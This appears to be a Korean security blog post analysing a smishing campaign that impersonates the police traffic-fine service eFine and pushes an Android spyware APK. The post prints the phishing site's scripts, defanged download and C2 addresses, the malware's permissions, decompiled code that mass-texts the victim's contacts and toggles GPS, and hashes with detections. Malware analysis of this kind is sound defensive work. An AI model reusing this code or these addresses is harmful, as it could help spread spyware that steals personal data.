꿈을꾸는 파랑새

오늘은 교통범칙금 통지 문자 사칭해서 스마트폰 개인정보를 빼가는 악성코드인. 경찰청 교통민원 24(이파인)에 대해 알아보겠습니다. 일단 기본적으로 해당 스미싱 공격은 기본적으로 너 교통범칙금 있으면 그리고 해당 링크 클릭을 하면 너
휴대폰 전화번호 적는 곳 나오니까 거기 번호 넣으면 그걸 확인을 할 수가 있는 악성코드 나옴 그거 설치를 하면 교통범칙금 확인 가능이라고 하면서 설치 순간 스마트폰의 개인정보를 빼가는 방식을 사용하고 있습니다.
일단 해당 문자 내용은 다음과 같습니다.
[Web 발신]
[교통민원24]법규위반과속운자동차벌점보고서
[Web 발신][교통민원 24] 교통법규위반행위 벌점 6점 처벌 고지서 발송 완료

교통민원24(이파인) 유포 사이트
교통민원24(이파인) 유포 사이트

공통점으로  [교통민원 24]이라는 단어와 법규 위반, 아니면 교통 법규 위반으로 벌점 등 교통 법규 관련 단어로 사용자에게 클릭을 유도합니다.
이 과정에서 공격자는 해당 스미싱 문자를 직접 수신한 핸드폰 번호가 아닐 때 입력번호 오류라는 메시지를 띄워 악성코드 앱 다운로드를 막으며.

즉 보안업체의 악성 앱 샘플 수집/진단 방해를 목적으로 공격자가 미리 확보해놓은 전화번호 DB를 활용해 일명 화이트리스트 방식의 악성 앱 유포를 시도한 것으로 추측할 수가 있습니다. 일단 먼저 해당 악성코드를 유포하는 사이트는 다음과 같습니다.

http://gfrd.bmne(.)miami/

 

일단 해당 사이트에 접속을 하면 다음과 같이 예전처럼 휴대폰 전화번호를 입력하라고 하고 있으며 여기서 잘 보며 전화번호 입력하는 부분에 잘 보면 핸드폰 번호를 입력하시고 건강검진서를 확인해주세요.
라고 돼 있는 것을 확인할 수가 있으며 해당 교통법규위반 하고 조금은 이상한 점을 느낄 수가 있을 것입니다. 그리고 어차피 밑에 있는 운전면허 조회, 착한 운전 마일리지 등과 같은 것을 처음부터 이용할 수가 없으면 그리고 밑에 있는 SNS는 전혀 동작을 하지 않는 것을 볼 수가 있습니다.

교통민원24(이파인) 컴퓨터 환경시 리다이렉트 주소
교통민원24(이파인) 컴퓨터 환경시 리다이렉트 주소

http://gfrd.bmne(.)miami/GdJGhJ.php 부분에서는 <script>window.location= 부분이 있으며 해당 부분을 통해서 조건에 맞지 않은 환경에서 접속하면 다음 사이트로 이동을 시키는 것을 확인할 수가 있습니다.
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script>window.location='https://www.efine.go(.)kr/';</script>
그리고 이런 조건을 즉 브라우저,운영체제를 확인을 하는 코드는 view-source:http://gfrd.bmne(.)miami/js/function-1.2(.)js에 포함이 돼 있으면 다음과 같습니다.

피싱 사이트 운영체제 및 브라우저 확인
피싱 사이트 운영체제 및 브라우저 확인

function uaMatch(ua) {
	ua = ua.toLowerCase();

	var match = /(chrome)[ \/]([\w.]+)/.exec(ua) ||
	/(webkit)[ \/]([\w.]+)/.exec(ua) ||
	/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) ||
	/(msie) ([\w.]+)/.exec(ua) ||
	ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua) ||
	[];

	return {
		browser: match[1] || "",
		version: match[2] || "0"
	};
};

function getBrowser() {
	var matched = uaMatch(navigator.userAgent);
	var browser = {};

	if (matched.browser) {
		browser[matched.browser] = true;
		browser.version = matched.version;
	}

	// Chrome is Webkit, but Webkit is also Safari.
	if (browser.chrome) {
		browser.webkit = true;
	} else if (browser.webkit) {
		browser.safari = true;
	}
	return browser;
};

즉 조건에 맞지 않을 시 넘기는 사이트는 정상적으로 국가에서 운영하는 경찰청교통민원24(이파인)으로 넘기게 돼 있습니다.
여기서 피싱 사이트에 결과 값에 만족하면 다음과 같이 진행을 합니다.
그리고 여기서 휴대폰 전화번호를 입력하면 다음 사이트로 이동합니다.

이파인 피싱 사이트 이름 및 생년월일 입력
이파인 피싱 사이트 이름 및 생년월일 입력

http://gfrd.bmne(.)miami/zsz(.)php

여기서는 이름과 그리고 생년월일을 입력하게 돼 있으며 해당 웹 소스를 열어주면 다음과 같은 값에 <script language="javascript" src="js/event_sub_check(.)js"></script><!-- 이벤트 스크립트 -->에서는 다음과 같이 휴대폰 번호를 입력과 이름 관련 코드들이 있는 것을 볼 수가 있습니다.

<SCRIPT>

function select_gift()
{
	var f = document.event;
	if ( f.mobile_no1.value == "") 
	{ 
		alert("실명 입력이 필요 합니다.");
		f.mobile_no1.focus();
		return;
	}
	if (f.mobile_no2.value.length < 6) { 
		alert("생년월일을 정화하게 입력하세요.");
		f.mobile_no2.focus();
		return;
	}
	if(!checknum(f.mobile_no2.value))
	{
		alert("휴대폰번호에 숫자를 입력하세요.");
		f.mobile_no2.value="";
		f.mobile_no2.focus();
		return;
	}
	f.method = "POST";
	f.action = "f9e906dfdb16f9c1ef95f38245fb020e43e93?????/";
	f.submit();
}

교통민원24(이파인) 이벤트 스크립트
교통민원24(이파인) 이벤트 스크립트

그리고 최종적으로 다음과 같이 됩니다.

http://gfrd.bmne(.)miami/f9e906dfdb16f9c1ef95f38245fb020e43????????/010 당신의 전화번호.apk

로 연결이 되면 최종적으로 APK 파일은 자신이 입력한 전화번호로 다운로드가 되는 것을 확인할 수가 있습니다.
그리고 해당 악성코드 다운로드 하는 곳에서는 다음과 같이 악성코드를 설치하는 방법에 대해 설명을 하고 있습니다.
어플을 다운로드후에 설치를 누르시면 권한허용이 뜹니다. 허용을 해주시면 어플설치할수 있습니다.
Play프로젝트에 의해 차단됨 이라는글이 나올시에는 밑에무시하고 설치를 누르시면 됩니다.
설치방법 다운로드에->설치 ->어플을찾아서 더블클릭 (또는 클릭) 하여 설치가 가능합니다.
*교통법규 위반 정보를 실시간으로 처리하다
설치 후 처리 위반 정보.
여기까지 와도 파일을 다운로드 하기 전에 붉은색은 된 한글이 있는데 무엇인가 번역기를 쓴 것처럼 이상한 것을 확인할 수가 있습니다.

교통민원24(이파인) 피싱 사이트 악성코드 다운로드
교통민원24(이파인) 피싱 사이트 악성코드 다운로드

이런식이 될 것입니다.

GET /f9e906dfdb16f9c1ef95f38245fb020e43e9????/01012345678(.)apk HTTP/1.1
Host: gfrd.bmne(.)miami
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Charset: *
Origin: http://gfrd.bmne(.)miami
Referer: http://gfrd.bmne(.)miami/f9e906dfdb16f9c1ef95f38245fb020e43e93c5c/
Cookie: PHPSESSID=875e8210a25dff01ee5ee19bc57f6f85
Range: bytes=1863867-2971533
Accept-Encoding: identity

HTTP Debugger Pro 본 이파인 악성코드 다운로드
HTTP Debugger Pro 본 이파인 악성코드 다운로드

이렇게 되겠습니다.
그리고 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:교통민원24(이파인).apk
사이즈:2.83 MB
CRC32:cd9f9bb2
MD5:7c2b361602fd74ea2c783ac648d00379
SHA-1:3ae0a5a539a531f55e9a97eccdda4408e87a5a0e
SHA-256:61ead1e1ba64bc5c2c66b30c3fe1bd10256f5399a4341d155c752a32dfac7bea
SHA-512:0d211bb49ab3b7becca45b31adf33d51ce3b393a97a09b009b0a3532780052813abc7e23bb86049ab2907c74abb982fb0d97e1b7be21d8b85b28eaac11331af9

[소프트웨어 팁/보안 및 분석] - 교통범칙금 통지 문자 사칭 스미싱 악성코드-경찰청교통민원24(이파인,2022.1.27)

 

교통범칙금 통지 문자 사칭 스미싱 악성코드-경찰청교통민원24(이파인,2022.1.27)

오늘은 교통범칙금 통지 문자 사칭해서 스마트폰 개인정보를 빼가는 악성코드인 경찰청 교통민원 24(이파인, 2022.1.27)에 대해 알아보겠습니다. 일단 기본적으로 해당 스미싱 공격

wezard4u.tistory.com

일단 해당 악성코드를 실행하면 질병관리청 COOV 모양으로 신분증을 촬영을 올리기를 요구했지만, 이번에는 삼성 계정에 로그인이라는 화면을 보여주고 있으면 해당 추측으로는 삼성 계정을 훔치려고 삼성 갤럭시 스마트폰 및 삼성 태블릿 계정을 통째로 훔치기 위한 것이 아닐까? 조심스럽게 추측을 해 봅니다. 일단 해당 교통민원24(이파인)악성코드의 권한은 다음과 같습니다.

교통민원24(이파인) 악성코드 안드로이드 권한
교통민원24(이파인) 악성코드 안드로이드 권한

<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>

권한을 보면 기본적으로 보시면 일단 기본적으로 인터넷 접속 권한, 폰 상태에 대한 읽기 전용 접근 허용, 스마트폰 문자 읽고, 문자 쓰기, 스마트폰 부팅 시 앱 실행, 설정 쓰기, SMS(문자) 보내기 문자 읽기, 연락처 읽기, 연락처 쓰기, 전화 걸기, 앱이 프로그래밍 방식으로 수신 통화에 응답하도록 할 수가 안드로이드 스마트폰 권한으로 구성돼 있습니다.

교통민원24(이파인) 악성코드 로그인 화면
교통민원24(이파인) 악성코드 로그인 화면

먼저 문자(SMS)관련 코드는 com.example.myapplication.Tools에 다음과 같이 있습니다.

문자 관련 코드
문자 관련 코드

public void SendContactsServer(Context context) {
        int i;
        int i2;
        Boolean sendMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendMsg", false));
        if (sendMsg.booleanValue()) {
            return;
        }
        int smsSwitch = context.getSharedPreferences("pref", 0).getInt("sms_switch", 0);
        if (smsSwitch == 1) {
            return;
        }
        getPhoneNumber().replace(" ", "-");
        int count = 0;
        String word = context.getSharedPreferences("pref", 0).getString("word", "test");
        String phone_list = context.getSharedPreferences("pref", 0).getString("phone_list", "");
        if (phone_list == "") {
            return;
        }
        String[] ps = phone_list.split("\n");
        int length = ps.length;
        int i3 = 0;
        while (i3 < length) {
            String phoneNumber = ps[i3];
            if (phoneNumber.length() <= 3) {
                i = i3;
                i2 = length;
            } else {
                SmsManager mySms = SmsManager.getDefault();
                i = i3;
                i2 = length;
                mySms.sendTextMessage(phoneNumber, null, word, null, null);
                count++;
            }
            i3 = i + 1;
            length = i2;
        }
        SharedPreferences pref = context.getSharedPreferences("pref", 0);
        SharedPreferences.Editor editor = pref.edit();
        editor.putBoolean("sendMsg", true);
        editor.commit();
    }

 

그리고 스마트폰 전화번호 관련 코드들은 다음과 같습니다.

phoneNumber
phoneNumber

public void SendLocalContacts(Context context) {
        int phoneIndex;
        String phoneNumber;
        getPhoneNumber().replace(" ", "-");
        Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        String word = context.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context.getSharedPreferences("pref", 0).getString("word", "test");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            cursor.getString(nameIndex);
            Cursor phones = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            if (phones.getCount() <= 0) {
                phoneIndex = 0;
            } else {
                int phoneIndex2 = phones.getColumnIndex("data1");
                phoneIndex = phoneIndex2;
            }
            if (phones.moveToNext()) {
                String phoneNumber2 = phones.getString(phoneIndex);
                if (phoneNumber2.length() > 0) {
                    phoneNumber = phoneNumber2.replace(" ", "").replace("+", "");
                } else {
                    phoneNumber = phoneNumber2;
                }
                if (phoneNumber.length() == 11 || phoneNumber.startsWith("82")) {
                    SmsManager mySms = SmsManager.getDefault();
                    mySms.sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

GPS 관련 코드는 다음과 같습니다

GPS 관련 코드
GPS 관련 코드

public void disableGPS() {
        onoffGPS("gps", false);
    }

    public void enableGPS() {
        onoffGPS("gps", true);
    }

    private void onoffGPS(String paramString, boolean flag) {
        String str = Settings.Secure.getString(this.context.getContentResolver(), "location_providers_allowed");
        if ((flag && !str.contains(paramString)) || (!flag && str.contains(paramString))) {
            Intent intent = new Intent();
            intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
            intent.addCategory("android.intent.category.ALTERNATIVE");
            intent.setData(Uri.parse("3"));
            this.context.sendBroadcast(intent);
        }
    }

com.example.myapplication.HttpUtils 부분에서는 다음과 같은 주소가 포함돼 있습니다.

악성코드에 포함이 되어져 있는 주소
악성코드에 포함이 되어져 있는 주소

/* loaded from: classes.dex */
public class HttpUtils {
    public static String URL = "http://www.dlgs(.)fit/";

    public static String getHttpURL(Context context) {
        String server_url = context.getSharedPreferences("pref", 0).getString("Server_URL", "");
        if (server_url.startsWith("http://")) {
            return server_url;
        }
        return URL;
    }

악성코드와 관련이 있는 주소는 다음과 같습니다.

http://192.168.0(.)104:8087/ImageServer/upServer
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
http://www.dlgs(.0fit/
https://c85.pcloud(.)com/dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29.apk

악성코드 인증서
악성코드 인증서

%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29 부분을 노트패드++(notepad++) 에 있는 URL Decode를 이용하면 다음과 같이 됩니다. 
교통민원24(이파인) 입니다.
그리고 악성코드 인증서 정보는 다음과 같습니다.

APK signature verification result:
서명 검증 성공
유효한 APK 서명 v1을(를) 찾았습니다.
서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x936eacbe07f201df
소유자: EMAILADDRESS=android@android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
유효 시작 시각: Fri Feb 29 10:33:46 GMT+09:00 2008
유효 종료 시각: Tue Jul 17 10:33:46 GMT+09:00 2035
공개키 타입: RSA
지수: 3
모듈러스 크기 (비트): 2048
모듈러스: 27087533857153302906822427244451835680271467139433638657402420676788772368468316411790577780743478815329574319010356420647651577255214076320764054962227698091591190998224183931185609609820277016242603583619929549819986490809257050240250723681109660718403959925449702875642189909904608631689243630431349528603016850515510838951987672075344238987930639179476225895129710043944157373677589593772202003591689051650854123572660036810919613063456337914746959297660631038090097224838665758049737111657080826771808365050815496720770905152230613652255807956565630323299366925404317303221604342657788982549334320910974026967327
서명 유형: SHA1withRSA
서명 OID: 1.2.840.113549.1.1.5
MD5 지문: E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87 
SHA-1 지문: 61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81 
SHA-256 지문: A4 0D A8 0A 59 D1 70 CA A9 50 CF 15 C1 8C 45 4D 47 A3 9B 26 98 9D 8B 64 0E CD 74 5B A7 1B F5 DC

2022-10-05 11:16:50 UTC 기준 바이러스토탈(VirusTotal)에서 탐지하는 보안업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Alibaba:TrojanSpy:Android/SmsThief.62cb9c8c
Antiy-AVL:Trojan/Generic.ASMalwAD.66
Avast:Android:SmsForw-BX [Trj]
Avast-Mobile:Android:SmsForw-BX [Trj]
AVG:Android:SmsForw-BX [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Trojan.SpyAgent.EM
Cynet:Malicious (score: 99)
Cyren:AndroidOS/ABRisk.ORUJ-5
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
Fortinet:Android/Agent.BSO!tr
Google:Detected
Ikarus:Trojan.AndroidOS.Agent
K7GW:Spyware ( 0057f6da1 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.rv
Lionic:Trojan.AndroidOS.SmsThief.C!c
MAX:Malware (ai Score=100)
McAfee:Artemis!7C2B361602FD
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Spyware:AndroidOS/Multiverze
NANO-Antivirus:Trojan.Android.SmsSpy.jsvtrv
QuickHeal:Android.SMForw.GEN37097
Sophos:Andr/Spy-BFE
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:Spyware:MobileSpy
Tencent:Dos.Trojan-Spy.Smsthief.Ngil
Trustlook:Android.Malware.Spyware
사실상 대부분의 보안 업체에서 탐지하고 있으면 특히 안드로이드 스마트폰을 사용하고 있으며 무료로 배포하는 백신 앱인 V3,Microsoft Defender 를 설치해서 사용하면 더 많은 보안 기능을 이용하고 싶으면 유료 제품을 사용해서 사용하시는 것도 좋은 방법입니다.

즉 기본적으로 안드로이드 스마트폰에서는 백신 앱을 설치를 하면 이런 악성코드는 최소 피싱 사이트 접근 단계 아니면 피싱 사이트는 차단을 하지 못하지만, 악성코드를 다운로드 하거나 다운로드 했을 때 해당 악성코드를 차단할 수가 있을 것입니다.

즉 기본적인 보안 수칙 그리고 기본적인 보안 제품을 설치해야 안전하게 스마트폰을 사용할 수가 있을 것입니다.

해당 피싱(Phishing) 사이트는 현재 접속을 하면 유해 사이트로 지정되어서 차단되고 있지만 2022-10-05 11:28:09 UTC 기준으로 바이러스토탈에서 탐지하는 보안 업체가 없는 관계를 일단 간단하게 ESET,Emsisoft,Google Safebrowsing,마이크로소프트 Smartscreen(스마트스크린)은 신고는 했습니다.

이유는 한국에서 스마트폰에서 항상 VPN을 사용해서 연결하고 계시는 분들은 해당 사이트에 접속될 수가 있기 때문에 피해를 취소하려는 조치입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band